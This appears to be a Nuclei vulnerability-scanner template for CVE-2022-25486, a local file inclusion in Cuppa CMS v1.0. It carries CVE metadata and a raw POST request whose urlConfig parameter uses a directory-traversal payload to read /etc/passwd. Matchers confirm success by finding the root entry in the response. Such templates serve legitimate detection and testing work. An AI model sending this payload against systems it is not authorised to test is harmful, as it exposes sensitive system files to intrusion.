40 lines
967 B
YAML
40 lines
967 B
YAML
id: CVE-2022-25486
|
|
|
|
info:
|
|
name: Cuppa CMS v1.0 - Local File Inclusion
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertConfigField.php.
|
|
reference:
|
|
- https://github.com/CuppaCMS/CuppaCMS
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-25486
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.8
|
|
cve-id: CVE-2022-25486
|
|
cwe-id: CWE-829
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
tags: cve,cve2022,lfi,cuppa
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /alerts/alertConfigField.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
urlConfig=../../../../../../../../../etc/passwd
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|